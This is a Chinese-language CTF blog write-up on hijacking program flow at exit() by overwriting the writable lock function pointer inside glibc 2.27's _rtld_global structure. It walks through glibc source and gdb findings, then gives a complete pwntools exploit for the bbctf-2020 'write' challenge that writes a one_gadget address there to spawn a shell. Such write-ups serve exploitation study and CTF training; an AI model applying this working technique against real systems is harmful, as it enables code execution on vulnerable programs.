exit_hook劫持

更改exit()某一結構體,再調用exit()可以實現程序流程的劫持。

原理分析

首先查看exit()源代碼,我的libc=2.27
在這裏插入圖片描述
調用__run_exit_handlers函數,查看源代碼,
exit.c 77行。

      while (cur->idx > 0)
	{
	  struct exit_function *const f = &cur->fns[--cur->idx];
	  const uint64_t new_exitfn_called = __new_exitfn_called;

	  /* Unlock the list while we call a foreign function.  */
	  __libc_lock_unlock (__exit_funcs_lock);
	  switch (f->flavor)
	    {
	      void (*atfct) (void);    
	      void (*onfct) (int status, void *arg);  
	      void (*cxafct) (void *arg, int status);  

	    case ef_free:
	    case ef_us:
	      break;
	    case ef_on:
	      onfct = f->func.on.fn;

發現三個關鍵call,

  void (*atfct) (void);    
  void (*onfct) (int status, void *arg);  
  void (*cxafct) (void *arg, int status);  

gdb動調,發現關鍵跳轉
在這裏插入圖片描述
調用了_dl_fini函數,查看_dl_fini函數源代碼。
dl-fini.c 46行

#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      /* Protect against concurrent loads and unloads.  */
      __rtld_lock_lock_recursive (GL(dl_load_lock));

      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      /* No need to do anything for empty namespaces or those used for
	 auditing DSOs.  */
      if (nloaded == 0
#ifdef SHARED
	  || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
	  )
	__rtld_lock_unlock_recursive (GL(dl_load_lock));

發現call兩個關鍵函數

 __rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock));

在此我查看__rtld_lock_unlock_recursive定義
在這裏插入圖片描述
查看GL定義,

#  define GL(name) _rtld_local._##name
# else
#  define GL(name) _rtld_global._##name

發現了_rtld_global結構體,
gdb下 p _rtld_global
在這裏插入圖片描述
找到函數地址存放位置,則__rtld_lock_unlock_recursive_rtld_global結構題的指針變量。在exit()中執行流程爲
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
由於__rtld_lock_unlock_recursive存放在結構體空間,爲可讀可寫,那麼如果可以修改__rtld_lock_unlock_recursive,就可以在調用exit()時劫持程序流。
_rtld_lock_lock_recursive也是一樣的流程。

實際利用

以bbctf-2020的write題爲例。
題目地址
在這裏插入圖片描述
程序首先給了我們libc地址跟stack地址,然後允許你任意地址寫,講道理應該亂殺。思路本應該是system覆蓋返回地址,然後
劫持程序,我想這是出題方的本意。但是最後程序在exit()中結束。當我們覆蓋main()返回地址時發現無法被執行。這個時候就需要我們剛剛
講的地方了。覆蓋_rtld_lock_lock_recursiveone_gedget

exp

直接上exp把,只需要找到_rtld_lock_lock_recursive的地址就行.在_rtld_global結構體某一偏移。

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('write')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./write')

	else:
		p = remote(ip,port)
	def Pwn(addr,num):
		p.sendlineafter("(q)uit\n","w")
		p.sendlineafter("ptr: ",str(addr))
		p.sendlineafter("val: ",str(num))
	gdb.attach(p)
	p.recvuntil("puts: 0x")
	puts_addr=int(p.recv(12),16)
	libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	libcbase_addr=puts_addr-libc.symbols['puts']
	exit_hook=libcbase_addr+0x619f68
	one_gad=[0x4f2c5,0x4f322,0x10a38c]
	
	
	p.recvuntil("stack: 0x")
	stack_addr=int(p.recv(12),16)+0x20
	Pwn(exit_hook,libcbase_addr+one_gad[1])
	#Pwn(stack_addr+8,binsh_addr)
	#Pwn(stack_addr+16,system_addr)
	print "exit_hook=",hex(exit_hook)
	print "one_gadget=",hex(libcbase_addr+one_gad[1])
	p.sendlineafter("(q)uit\n","q")
	p.interactive()
if __name__ == '__main__':
	pwn('pwn.byteband.it',9000,1)

在這裏插入圖片描述

總結

這個知識點有時可以出其不意的偷家。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章